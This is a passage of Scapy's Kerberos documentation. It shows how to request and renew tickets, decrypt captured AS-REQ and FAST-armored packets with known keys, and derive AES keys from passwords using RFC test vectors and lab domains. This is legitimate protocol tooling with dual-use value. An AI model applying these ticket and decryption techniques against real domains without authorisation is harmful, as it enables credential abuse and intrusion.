sessionkey=res.sessionkey, ticket=res.asrep.ticket)\n\n.. note::\n\n    There is also a :func:`~scapy.layers.kerberos.krb_as_and_tgs` function that does an AS-REQ then a TGS-REQ::\n\n        >>> krb_as_and_tgs(\"user1@DOMAIN.LOCAL\", \"host/DC1\", password=\"Password1\")\n\nOther things you can do:\n\n**Renew a TGT:**\n\n.. code:: pycon\n\n    >>> krb_tgs_req(\"user1@DOMAIN.LOCAL\", \"krbtgt/DOMAIN.LOCAL\", sessionkey=res.sessionkey, ticket=res.asrep.ticket, renew=True)\n\n**Renew a ST:**\n\n.. note:: For some mysterious reason, this is rarely implemented in other tools.\n\n.. code:: pycon\n\n    >>> res2 = krb_tgs_req(\"user1@DOMAIN.LOCAL\", \"host/DC1\", sessionkey=res.sessionkey, ticket=res.asrep.ticket)\n    >>> krb_tgs_req(\"user1@DOMAIN.LOCAL\", \"host/DC1\", sessionkey=res2.sessionkey, ticket=res2.tgsrep.ticket, renew=True)\n\n\nKerberosSSP\n~~~~~~~~~~~\n\nFor Kerberos, the Scapy SSP is implemented in :class:`~scapy.layers.kerberos.KerberosSSP`.\nYou can typically use it in :class:`~scapy.layers.smbclient.SMB_Client`, :class:`~scapy.layers.smbserver.SMB_Server`, :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` or :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server`.\n\n.. note:: Remember that you can wrap it in a :class:`~scapy.layers.spnego.SPNEGOSSP`\n\nSee `GSSAPI <gssapi.html>`_ for usage examples.\n\nDecrypt kerberos packets manually\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.. note:: This section is useful to understand the inner workings of Kerberos, but isn't necessary to use Scapy's implementation.\n\nKerberos packets contain encrypted content, let's take the following packet:\n\n.. code:: pycon\n\n    >>> pkt = Ether(b\"RT\\x00iX\\x13RT\\x00!l+\\x08\\x00E\\x00\\x01]\\xa7\\x18@\\x00\\x80\\x06\\xdc\\x83\\xc0\\xa8z\\x9c\\xc0\\xa8z\\x11\\xc2\\t\\x00XT\\xf6\\xab#\\x92\\xc2[\\xd6P\\x18 \\x14\\xb6\\xe0\\x00\\x00\\x00\\x00\\x011j\\x82\\x01-0\\x82\\x01)\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\n\\xa3c0a0L\\xa1\\x03\\x02\\x01\\x02\\xa2E\\x04C0A\\xa0\\x03\\x02\\x01\\x12\\xa2:\\x048HHM\\xec\\xb0\\x1c\\x9bb\\xa1\\xca\\xbf\\xbc?-\\x1e\\xd8Z\\xa5\\xe0\\x93\\xba\\x83X\\xa8\\xce\\xa3MC\\x93\\xaf\\x93\\xbf!\\x1e'O\\xa5\\x8e\\x81Hx\\xdb\\x9f\\rz(\\xd9Ns'f\\r\\xb4\\xf3pK0\\x11\\xa1\\x04\\x02\\x02\\x00\\x80\\xa2\\t\\x04\\x070\\x05\\xa0\\x03\\x01\\x01\\xff\\xa4\\x81\\xb70\\x81\\xb4\\xa0\\x07\\x03\\x05\\x00@\\x81\\x00\\x10\\xa1\\x120\\x10\\xa0\\x03\\x02\\x01\\x01\\xa1\\t0\\x07\\x1b\\x05win1$\\xa2\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa3!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xa5\\x11\\x18\\x0f20370913024805Z\\xa6\\x11\\x18\\x0f20370913024805Z\\xa7\\x06\\x02\\x04p\\x1c\\xc5\\xd1\\xa8\\x150\\x13\\x02\\x01\\x12\\x02\\x01\\x11\\x02\\x01\\x17\\x02\\x01\\x18\\x02\\x02\\xffy\\x02\\x01\\x03\\xa9\\x1d0\\x1b0\\x19\\xa0\\x03\\x02\\x01\\x14\\xa1\\x12\\x04\\x10WIN1            \")\n    >>> pkt[TCP].payload.show()\n    ###[ KerberosTCPHeader ]### \n    len       = 305\n    ###[ Kerberos ]### \n        \\root      \\\n        |###[ KRB_AS_REQ ]### \n        |  pvno      = 0x5 <ASN1_INTEGER[5]>\n        |  msgType   = 'AS-REQ' 0xa <ASN1_INTEGER[10]>\n        |  \\padata    \\\n        |   |###[ PADATA ]### \n        |   |  padataType= 'PA-ENC-TIMESTAMP' 0x2 <ASN1_INTEGER[2]>\n        |   |  \\padataValue\\\n        |   |   |###[ EncryptedData ]### \n        |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |   |   |  kvno      = None\n        |   |   |  cipher    = <ASN1_STRING[b\"HHM\\xec\\xb0\\x1c\\x9bb\\xa1\\xca\\xbf\\xbc?-\\x1e\\xd8Z\\xa5\\xe0\\x93\\xba\\x83X\\xa8\\xce\\xa3MC\\x93\\xaf\\x93\\xbf!\\x1e'O\\xa5\\x8e\\x81Hx\\xdb\\x9f\\rz(\\xd9Ns'f\\r\\xb4\\xf3pK\"]>\n        |   |###[ PADATA ]### \n        |   |  padataType= 'PA-PAC-REQUEST' 0x80 <ASN1_INTEGER[128]>\n        |   |  \\padataValue\\\n        |   |   |###[ PA_PAC_REQUEST ]### \n        |   |   |  includePac= True <ASN1_BOOLEAN[-1]>\n        |  \\reqBody   \\\n        |   |###[ KRB_KDC_REQ_BODY ]### \n        |   |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\\x81\\x00\\x10' (0 unused bit)>\n        |   |  \\cname     \\\n        |   |   |###[ PrincipalName ]### \n        |   |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>\n        |   |   |  nameString= [<ASN1_GENERAL_STRING[b'win1$']>]\n        |   |  realm     = <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>\n        |   |  \\sname     \\\n        |   |   |###[ PrincipalName ]### \n        |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>\n        |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>]\n        |   |  from      = None\n        |   |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |   |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |   |  nonce     = 0x701cc5d1 <ASN1_INTEGER[1880933841]>\n        |   |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]\n        |   |  \\addresses \\\n        |   |   |###[ HostAddress ]### \n        |   |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>\n        |   |   |  address   = <ASN1_STRING[b'WIN1            ']>\n        |   |  encAuthorizationData= None\n        |   |  additionalTickets= None\n\nYou likely want to decrypt ``pkt.root.padata[0].padataValue`` which is an :class:`~scapy.layers.kerberos.EncryptedData` packet. To do so, we need the :class:`~scapy.libs.rfc3961.Key` class.\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import Key, EncryptionType\n    >>> enc = pkt[Kerberos].root.padata[0].padataValue\n    >>> k = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"7fada4e566ae4fb270e2800a23ae87127a819d42e69b5e22de0ddc63da80096d\"))\n\nThe first parameter of the :class:`~scapy.libs.rfc3961.Key` constructor is a value from :class:`~scapy.libs.rfc3961.EncryptionType`, in this case ``EncryptionType.AES256_CTS_HMAC_SHA1_96``. This is the same value than ``enc.etype.val``, which allows to know which key to use.\n\nWe can then proceed to perform the decryption:\n\n.. code:: pycon\n\n    >>> enc.decrypt(k)\n    <PA_ENC_TS_ENC  patimestamp=2022-07-15 17:18:47 UTC <ASN1_GENERALIZED_TIME['20220715171847Z']> pausec=0x9a4db <ASN1_INTEGER[632027]> |>\n\nCompute Kerberos keys\n~~~~~~~~~~~~~~~~~~~~~\n\n.. note:: Encryption for Kerberos 5 is defined in `RFC3961 <https://datatracker.ietf.org/doc/html/rfc3961.html>`_\n\nYou may want to compute a Kerberos key from a password + salt. There is an API for that described in RFC3961 as \"string-to-key\". Our implementation is a class method as follow:\n\n.. function:: Key.string_to_key(etype, string, salt, params=None)\n\n    Compute the kerberos key for a certain encryption type.\n\n    :param int etype: The EncryptionType to use. May be any value from :class:`~scapy.libs.rfc3961.EncryptionType`\n    :param bytes string: The \"string\" bytes to use. This is the user password in almost all well-used cases. They must be passed as bytes.\n    :param bytes salt: The salt bytes to use. What value to use depends if you are considering a MACHINE account or a USER account, for the latter, it's just ``the concatenation of the principal's realm and name components, in order, with no separators.`` (RFC4120 sect 4)\n    :param bytes params: The opaque \"parameter\" used by string-to-key. The RFC defines this field in a very general manner but it is basically only used in AES, in which it is the iteration count as a big-endian int (``struct.pack(\">L\", 4096)`` by default)\n\nLet's run a few examples:\n\n.. code:: pycon\n\n    >>> # Get the AES256 key for User1@DOMAIN.LOCAL with \"Password1\"\n    >>> from scapy.libs.rfc3961 import Key, EncryptionType\n    >>> Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b\"Password1\", b\"DOMAIN.LOCALUser1\")\n    >>> print(_.key)\n    b'm\\x07H\\xc5F\\xf4\\xe9\\x92\\x05\\xe7\\x8f\\x8d\\xa7h\\x1dN\\xc5R\\n\\xe4\\x81UCr\\x0c*d|\\x1a\\xe8\\x14\\xc9'\n\n.. note:: The following example is from https://datatracker.ietf.org/doc/html/rfc3962#appendix-B\n\n.. code:: pycon\n\n    >>> # Get the AES128 key for raeburn@ATHENA.MIT.EDU with \"password\", with an iteration count of 1200\n    >>> k = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA1_96, b\"password\", b\"ATHENA.MIT.EDUraeburn\", struct.pack(\">L\", 1200))\n    >>> print(k.key.hex())\n    '4c01cd46d632d01e6dbe230a01ed642a'\n\n\nDecrypt FAST manually\n~~~~~~~~~~~~~~~~~~~~~\n\n.. note:: This section is useful to understand the inner workings of Kerberos FAST, but FAST can simply be used in :class:`~scapy.modules.ticketer.Ticketer` through the ``armor_with`` parameter when performing either a ASREQ or TGSREQ. For more details related to how FAST works, have a look at `RFC6113 <https://datatracker.ietf.org/doc/html/rfc6113.html>`_.\n\nLet's take a Kerberos AS-REQ packet with FAST armoring (RFC6113):\n\n.. figure:: ../graphics/kerberos/as_req_fast.png\n   :align: center\n\n   FAST armoring in AS-REQ. Credit to `this paper by A. Bordes <https://www.sstic.org/media/SSTIC2017/SSTIC-actes/administration_en_silo/SSTIC2017-Article-administration_en_silo-bordes.pdf>`_.\n\n.. code:: pycon\n\n    >>> pkt = Ether(bytes.fromhex(b'52540013d0835254003ea3be08004502089636a1400080063ad3c0a87fd2c0a87fc8fecc0058eea93069573b278e50180402897400000000086a6a82086630820862a103020105a20302010aa38207a23082079e3082079aa10402020088a28207900482078ca082078830820784a082064a30820646a003020101a182063d048206396e82063530820631a003020105a10302010ea20703050000000000a38205796182057530820571a003020105a10c1b0a444f4d312e4c4f43414ca21f301da003020102a11630141b066b72627467741b0a444f4d312e4c4f43414ca382053930820535a003020112a103020102a282052704820523acc8b7671c0d50522f1a8d8452ce450aceb40fff0229e8ee546bccf1512e4877ef93dde465595260a6a5a8e85ea38600ce8dff7d510f3c744e2c43eb9d3187d638f716c29b6e7aa9eb407de28d0161f49013966eda0a161ff174dad42e7aa500cfe298541215448013ffe4883b6b1166f908f50de129487fe77fff874fd4102cdcce8db8dbeb8da02f08cc88b3790cdad5ec499959c7e79d6fef107d1e17ce80cc3df050b7e7a1c31f278e4fd4ea9523c950876f174be363234f8495b9550de1560ba17daeafbf133f78991053d929ad3fd668327d42288e6581671daaef908682ee282e17c31d8f8bb55d27fce155ee2e84a2ff8bc9600891be15e6ede3e1bbd2742a7af8b0a32c48973c9e3776a69647bab11592756c5a15b9101c392efa35d000abb3dabccd97e64426e3fd8d47e0e369c83b5391f38947d536d351c061081d654eef1a3861cdb2ea2bc48222b450d1b7d09c0670493bccc60dfcaa5cfe46fd50adf8e388204a4691dc5f0c3dbae0b4da6ac2dd781f149a444840aaa3a3c3befb5a5c04ee0405baed66afcf9b988d10ea14a955f43df79465e6fc02a12bce3870988950f1ab48e1a4f876f351671c5061e6399a63cb0479f7bd017dfd9bc5be192faf6d4f11e6ee6003933eeaf632f0056c4c1ccd183d7977cfca85419fe5b039674419d802068e792c9576ae2a88bfbeb1f59273226782c6efb288717d8f7a4bc3bf4c697fcac1adc1829f0a914f2559b278ccadd108eb87a11dacc88e4302e9af627474e57171192b94c6b358f8f98e308596215d2fb9d9c2b49c4cbedcb43fc231b86f0493d56b82962cf3383a84f8922c2b99f8fa8fdd85797b09a6e60f72007c0379988be2ff1cfc16f21300c1b4b784174005a9185f760e68ef94b9384eb24decee31b63d1b92278cd75b85d4d80c4e83306533a9d95aa6207cbfbeb0970a41c44aba59839f007923ecd8ff0de8314990a435dbea4dedbee16faf5ab2be9f96d691cfa983a6c843bd183f84c1b4998a3eaa907cae6b82b0ae8363f3edd8cb03d3c9c60ff55a84d8a292ea20555fbd6ce5ad4ad7a6b4bc5bff2e02c477a7a8a98d5a387d389caa172c400b151d95871b2aa16a040dc71a9be5f0774b06a5ca87674ccb4109a2c41db9e3160704218ad495d0751194fbef4becae4d7be24b9d968da592256a2b22cf724e989e71a60d0603b59bebd475285f793794b7a18af49a2b68670e3a6247c453274e35c863a16b5023c6c94659e25abb27c760f989ac0bbf9a5b125d0ea34fb03225cc93d5b8b6829e906883ee76cf8ee61dfacc488e8dc5cbc8ba9705a9e915a68f838232394f97fb1aac4a2a90fe17d46f9c51946a2bf9598df7f5b5e7ee692a78860eea3cef748a5be36529228e40b4aec83ebc8bb14176a4c565b06500e9517229b8340c55812101dbbc6bee693c35873082a5a1a53b35cf3509193d4dc5175c9360a00da71692ba205b3264aecc9ecc8bca31fec43efc8701423bb484f6f21699439dd30f71228f16eaab96b7de3547721d1635bbfe50678900ac378a4958b6c34964f3e0dc843880dbde57fb4a76ab85eba2b190bfdaefc7ba17e109f839493b0f2d6fc7ea17403bebe06f2809314ca514606f54668082364ed6752019f27e1df74f93fcf1c25630a29713a89d4a998c444bc91279c6fc66e0aa5dec72be316e1160cf9f90d5915c464b6bfec5216e901be4726db596a15745511c63736a69ac9ecb9e86601c631b4992653c320e6983562fa613134560cb606621e9661ac5961313ee70868ab48d6010173d8a96fffdb2baf4afe18c846d3fed6f30b9a809d72e647735fc536edec543abc232480d28660395a4819e30819ba003020112a281930481901273d5af61ad426d51d0757e897917caeb6fc1b6950554e8d750f95d27f444e3aaf7ae0bf4595b5e906d9682dbdeedcf6eb42a84ab8092997b783f57710127228165deeb2ce5e09e2ddc71555dc31970a8312d888b8ae766382098276d62b4bd76f34cbc889e24ad5405ec037ceb724fdb71fe247fe2a414a037ed33c796f4475fcfb5993eed147b6d63d740d58da5b0a1173015a003020110a10e040c75f02d8d2954e0ae1a9e0653a282011930820115a003020112a282010c04820108ae9bbc4629c80f4a383a69c4583824295c75f34b000b3fdbdaab073a042935e32c29e0ee2b2b446e4a6a2592362d0d593cddd74dacc24f16353776e1b5d192ad1cf5e63f66f40a134ecb87c077c30922bc0cab00ae23d187d56090d9098f843c54fabe7c012ff87e317dfe339c40911264609d489b041a4e9b52c0eb03ee88a393d17da92786bd1716b92eb0d7a5a24a64ade0870dea8a7e138acdf209ee277cb3fadeedab173fd64cc10a1004010774658b94852639bda10a5e8aff29174e3d2c7032c32631b074afdac0e6832bae74de9be19e522f63bc8499753a209291fee1861c29096cc8ee3cfda5be235b0aa95635916edcfcdaf90b896e2eaa5a57d5e4da0b00408f4201a481af3081aca00703050040810010a11a3018a003020101a111300f1b0d61646d2d302d66617374656e62a2061b04444f4d31a3193017a003020102a110300e1b066b72627467741b04444f4d31a511180f32303337303931333032343830355aa611180f32303337303931333032343830355aa70602043f58a7a0a81530130201120201110201170201180202ff79020103a91d301b3019a003020114a112041053525620202020202020202020202020'))\n    >>> pkt[TCP].payload.show()\n    ###[ KerberosTCPHeader ]### \n        len       = 2154\n    ###[ Kerberos ]### \n        \\root      \\\n        |###[ KRB_AS_REQ ]### \n        |  pvno      = 0x5 <ASN1_INTEGER[5]>\n        |  msgType   = 'AS-REQ' 0xa <ASN1_INTEGER[10]>\n        |  \\padata    \\\n        |   |###[ PADATA ]### \n        |   |  padataType= 'PA-FX-FAST' 0x88 <ASN1_INTEGER[136]>\n        |   |  \\padataValue\\\n        |   |   |###[ PA_FX_FAST_REQUEST ]### \n        |   |   |  \\armoredData\\\n        |   |   |   |###[ KrbFastArmoredReq ]### \n        |   |   |   |  \\armor     \\\n        |   |   |   |   |###[ KrbFastArmor ]### \n        |   |   |   |   |  armorType = 'FX_FAST_ARMOR_AP_REQUEST' 0x1 <ASN1_INTEGER[1]>\n        |   |   |   |   |  \\armorValue\\\n        |   |   |   |   |   |###[ KRB_AP_REQ ]### \n        |   |   |   |   |   |  pvno      = 0x5 <ASN1_INTEGER[5]>\n        |   |   |   |   |   |  msgType   = 'AP-REQ' 0xe <ASN1_INTEGER[14]>\n        |   |   |   |   |   |  apOptions =  <ASN1_BIT_STRING[0000000000...0000000000]=b'\\x00\\x00\\x00\\x00' (0 unused bit)>\n        |   |   |   |   |   |  \\ticket    \\\n        |   |   |   |   |   |   |###[ KRB_Ticket ]### \n        |   |   |   |   |   |   |  tktVno    = 0x5 <ASN1_INTEGER[5]>\n        |   |   |   |   |   |   |  realm     = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>\n        |   |   |   |   |   |   |  \\sname     \\\n        |   |   |   |   |   |   |   |###[ PrincipalName ]### \n        |   |   |   |   |   |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>\n        |   |   |   |   |   |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>]\n        |   |   |   |   |   |   |  \\encPart   \\\n        |   |   |   |   |   |   |   |###[ EncryptedData ]### \n        |   |   |   |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |   |   |   |   |   |   |   |  kvno      = 0x2 <ASN1_INTEGER[2]>\n        |   |   |   |   |   |   |   |  cipher    = <ASN1_STRING[b'\\xac\\xc8\\xb7g\\x1c\\rPR/\\x1a\\x8d\\x84R\\xceE\\n\\xce\\xb4\\x0f\\xff\\x02)\\xe8\\xeeTk\\xcc\\xf1Q.Hw\\xef\\x93\\xdd\\xe4eYR`\\xa6\\xa5\\xa8\\xe8^\\xa3\\x86\\x00\\xce\\x8d\\xff}Q\\x0f<tN,C\\xeb\\x9d1\\x87\\xd68\\xf7\\x16\\xc2\\x9bnz\\xa9\\xeb@}\\xe2\\x8d\\x01a\\xf4\\x90\\x13\\x96n\\xda\\n\\x16\\x1f\\xf1t\\xda\\xd4.z\\xa5\\x00\\xcf\\xe2\\x98T\\x12\\x15D\\x80\\x13\\xff\\xe4\\x88;k\\x11f\\xf9\\x08\\xf5\\r\\xe1)H\\x7f\\xe7\\x7f\\xff\\x87O\\xd4\\x10,\\xdc\\xce\\x8d\\xb8\\xdb\\xeb\\x8d\\xa0/\\x08\\xcc\\x88\\xb3y\\x0c\\xda\\xd5\\xecI\\x99Y\\xc7\\xe7\\x9do\\xef\\x10}\\x1e\\x17\\xce\\x80\\xcc=\\xf0P\\xb7\\xe7\\xa1\\xc3\\x1f\\'\\x8eO\\xd4\\xea\\x95#\\xc9P\\x87o\\x17K\\xe3c#O\\x84\\x95\\xb9U\\r\\xe1V\\x0b\\xa1}\\xae\\xaf\\xbf\\x13?x\\x99\\x10S\\xd9)\\xad?\\xd6h2}B(\\x8ee\\x81g\\x1d\\xaa\\xef\\x90\\x86\\x82\\xee(.\\x17\\xc3\\x1d\\x8f\\x8b\\xb5]\\'\\xfc\\xe1U\\xee.\\x84\\xa2\\xff\\x8b\\xc9`\\x08\\x91\\xbe\\x15\\xe6\\xed\\xe3\\xe1\\xbb\\xd2t*z\\xf8\\xb0\\xa3,H\\x97<\\x9e7v\\xa6\\x96G\\xba\\xb1\\x15\\x92ulZ\\x15\\xb9\\x10\\x1c9.\\xfa5\\xd0\\x00\\xab\\xb3\\xda\\xbc\\xcd\\x97\\xe6D&\\xe3\\xfd\\x8dG\\xe0\\xe3i\\xc8;S\\x91\\xf3\\x89G\\xd56\\xd3Q\\xc0a\\x08\\x1deN\\xef\\x1a8a\\xcd\\xb2\\xea+\\xc4\\x82\"\\xb4P\\xd1\\xb7\\xd0\\x9c\\x06pI;\\xcc\\xc6\\r\\xfc\\xaa\\\\\\xfeF\\xfdP\\xad\\xf8\\xe3\\x88 JF\\x91\\xdc_\\x0c=\\xba\\xe0\\xb4\\xdaj\\xc2\\xddx\\x1f\\x14\\x9aDH@\\xaa\\xa3\\xa3\\xc3\\xbe\\xfbZ\\\\\\x04\\xee\\x04\\x05\\xba\\xedf\\xaf\\xcf\\x9b\\x98\\x8d\\x10\\xea\\x14\\xa9U\\xf4=\\xf7\\x94e\\xe6\\xfc\\x02\\xa1+\\xce8p\\x98\\x89P\\xf1\\xabH\\xe1\\xa4\\xf8v\\xf3Qg\\x1cPa\\xe69\\x9ac\\xcb\\x04y\\xf7\\xbd\\x01}\\xfd\\x9b\\xc5\\xbe\\x19/\\xafmO\\x11\\xe6\\xee`\\x03\\x93>\\xea\\xf62\\xf0\\x05lL\\x1c\\xcd\\x18=yw\\xcf\\xca\\x85A\\x9f\\xe5\\xb09gD\\x19\\xd8\\x02\\x06\\x8ey,\\x95v\\xae*\\x88\\xbf\\xbe\\xb1\\xf5\\x92s\"g\\x82\\xc6\\xef\\xb2\\x88q}\\x8fzK\\xc3\\xbfLi\\x7f\\xca\\xc1\\xad\\xc1\\x82\\x9f\\n\\x91O%Y\\xb2x\\xcc\\xad\\xd1\\x08\\xeb\\x87\\xa1\\x1d\\xac\\xc8\\x8eC\\x02\\xe9\\xafbtt\\xe5qq\\x19+\\x94\\xc6\\xb3X\\xf8\\xf9\\x8e0\\x85\\x96!]/\\xb9\\xd9\\xc2\\xb4\\x9cL\\xbe\\xdc\\xb4?\\xc21\\xb8o\\x04\\x93\\xd5k\\x82\\x96,\\xf38:\\x84\\xf8\\x92,+\\x99\\xf8\\xfa\\x8f\\xdd\\x85y{\\t\\xa6\\xe6\\x0fr\\x00|\\x03y\\x98\\x8b\\xe2\\xff\\x1c\\xfc\\x16\\xf2\\x13\\x00\\xc1\\xb4\\xb7\\x84\\x17@\\x05\\xa9\\x18_v\\x0eh\\xef\\x94\\xb98N\\xb2M\\xec\\xee1\\xb6=\\x1b\\x92\\'\\x8c\\xd7[\\x85\\xd4\\xd8\\x0cN\\x830e3\\xa9\\xd9Z\\xa6 |\\xbf\\xbe\\xb0\\x97\\nA\\xc4J\\xbaY\\x83\\x9f\\x00y#\\xec\\xd8\\xff\\r\\xe81I\\x90\\xa45\\xdb\\xeaM\\xed\\xbe\\xe1o\\xafZ\\xb2\\xbe\\x9f\\x96\\xd6\\x91\\xcf\\xa9\\x83\\xa6\\xc8C\\xbd\\x18?\\x84\\xc1\\xb4\\x99\\x8a>\\xaa\\x90|\\xaek\\x82\\xb0\\xae\\x83c\\xf3\\xed\\xd8\\xcb\\x03\\xd3\\xc9\\xc6\\x0f\\xf5Z\\x84\\xd8\\xa2\\x92\\xea U_\\xbdl\\xe5\\xadJ\\xd7\\xa6\\xb4\\xbc[\\xff.\\x02\\xc4w\\xa7\\xa8\\xa9\\x8dZ8}8\\x9c\\xaa\\x17,@\\x0b\\x15\\x1d\\x95\\x87\\x1b*\\xa1j\\x04\\r\\xc7\\x1a\\x9b\\xe5\\xf0wK\\x06\\xa5\\xca\\x87gL\\xcbA\\t\\xa2\\xc4\\x1d\\xb9\\xe3\\x16\\x07\\x04!\\x8a\\xd4\\x95\\xd0u\\x11\\x94\\xfb\\xefK\\xec\\xaeM{\\xe2K\\x9d\\x96\\x8d\\xa5\\x92%j+\"\\xcfrN\\x98\\x9eq\\xa6\\r\\x06\\x03\\xb5\\x9b\\xeb\\xd4u(_y7\\x94\\xb7\\xa1\\x8a\\xf4\\x9a+hg\\x0e:bG\\xc4S\\'N5\\xc8c\\xa1kP#\\xc6\\xc9FY\\xe2Z\\xbb\\'\\xc7`\\xf9\\x89\\xac\\x0b\\xbf\\x9a[\\x12]\\x0e\\xa3O\\xb02%\\xcc\\x93\\xd5\\xb8\\xb6\\x82\\x9e\\x90h\\x83\\xeev\\xcf\\x8e\\xe6\\x1d\\xfa\\xccH\\x8e\\x8d\\xc5\\xcb\\xc8\\xba\\x97\\x05\\xa9\\xe9\\x15\\xa6\\x8f\\x83\\x8229O\\x97\\xfb\\x1a\\xacJ*\\x90\\xfe\\x17\\xd4o\\x9cQ\\x94j+\\xf9Y\\x8d\\xf7\\xf5\\xb5\\xe7\\xeei*x\\x86\\x0e\\xea<\\xeft\\x8a[\\xe3e)\"\\x8e@\\xb4\\xae\\xc8>\\xbc\\x8b\\xb1Av\\xa4\\xc5e\\xb0e\\x00\\xe9Qr)\\xb84\\x0cU\\x81!\\x01\\xdb\\xbck\\xeei<5\\x870\\x82\\xa5\\xa1\\xa5;5\\xcf5\\t\\x19=M\\xc5\\x17\\\\\\x93`\\xa0\\r\\xa7\\x16\\x92\\xba [2d\\xae\\xcc\\x9e\\xcc\\x8b\\xca1\\xfe\\xc4>\\xfc\\x87\\x01B;\\xb4\\x84\\xf6\\xf2\\x16\\x99C\\x9d\\xd3\\x0fq\"\\x8f\\x16\\xea\\xab\\x96\\xb7\\xde5Gr\\x1d\\x165\\xbb\\xfePg\\x89\\x00\\xac7\\x8aIX\\xb6\\xc3Id\\xf3\\xe0\\xdc\\x848\\x80\\xdb\\xdeW\\xfbJv\\xab\\x85\\xeb\\xa2\\xb1\\x90\\xbf\\xda\\xef\\xc7\\xba\\x17\\xe1\\t\\xf89I;\\x0f-o\\xc7\\xea\\x17@;\\xeb\\xe0o(\\t1L\\xa5\\x14`oTf\\x80\\x826N\\xd6u \\x19\\xf2~\\x1d\\xf7O\\x93\\xfc\\xf1\\xc2V0\\xa2\\x97\\x13\\xa8\\x9dJ\\x99\\x8cDK\\xc9\\x12y\\xc6\\xfcf\\xe0\\xaa]\\xecr\\xbe1n\\x11`\\xcf\\x9f\\x90\\xd5\\x91\\\\FKk\\xfe\\xc5!n\\x90\\x1b\\xe4rm\\xb5\\x96\\xa1WEQ\\x1ccsji\\xac\\x9e\\xcb\\x9e\\x86`\\x1cc\\x1bI\\x92e<2\\x0ei\\x83V/\\xa6\\x13\\x13E`\\xcb`f!\\xe9f\\x1a\\xc5\\x96\\x13\\x13\\xeep\\x86\\x8a\\xb4\\x8d`\\x10\\x17=\\x8a\\x96\\xff\\xfd\\xb2\\xba\\xf4\\xaf\\xe1\\x8c\\x84m?\\xedo0\\xb9\\xa8\\t\\xd7.dw5\\xfcSn\\xde\\xc5C\\xab\\xc22H\\r(f\\x03\\x95']>\n        |   |   |   |   |   |  \\authenticator\\\n        |   |   |   |   |   |   |###[ EncryptedData ]### \n        |   |   |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |   |   |   |   |   |   |  kvno      = None\n        |   |   |   |   |   |   |  cipher    = <ASN1_STRING[b'\\x12s\\xd5\\xafa\\xadBmQ\\xd0u~\\x89y\\x17\\xca\\xebo\\xc1\\xb6\\x95\\x05T\\xe8\\xd7P\\xf9]\\'\\xf4D\\xe3\\xaa\\xf7\\xae\\x0b\\xf4Y[^\\x90m\\x96\\x82\\xdb\\xde\\xed\\xcfn\\xb4*\\x84\\xab\\x80\\x92\\x99{x?Wq\\x01\\'\"\\x81e\\xde\\xeb,\\xe5\\xe0\\x9e-\\xdcqU]\\xc3\\x19p\\xa81-\\x88\\x8b\\x8a\\xe7f8 \\x98\\'mb\\xb4\\xbdv\\xf3L\\xbc\\x88\\x9e$\\xadT\\x05\\xec\\x03|\\xebrO\\xdbq\\xfe$\\x7f\\xe2\\xa4\\x14\\xa07\\xed3\\xc7\\x96\\xf4G_\\xcf\\xb5\\x99>\\xed\\x14{mc\\xd7@\\xd5\\x8d\\xa5\\xb0']>\n        |   |   |   |  checksumtype= 'HMAC-SHA1-96-AES256' 0x10 <ASN1_INTEGER[16]>\n        |   |   |   |  checksum  = <ASN1_STRING[b'u\\xf0-\\x8d)T\\xe0\\xae\\x1a\\x9e\\x06S']>\n        |   |   |   |  \\encFastReq\\\n        |   |   |   |   |###[ EncryptedData ]### \n        |   |   |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |   |   |   |   |  kvno      = None\n        |   |   |   |   |  cipher    = 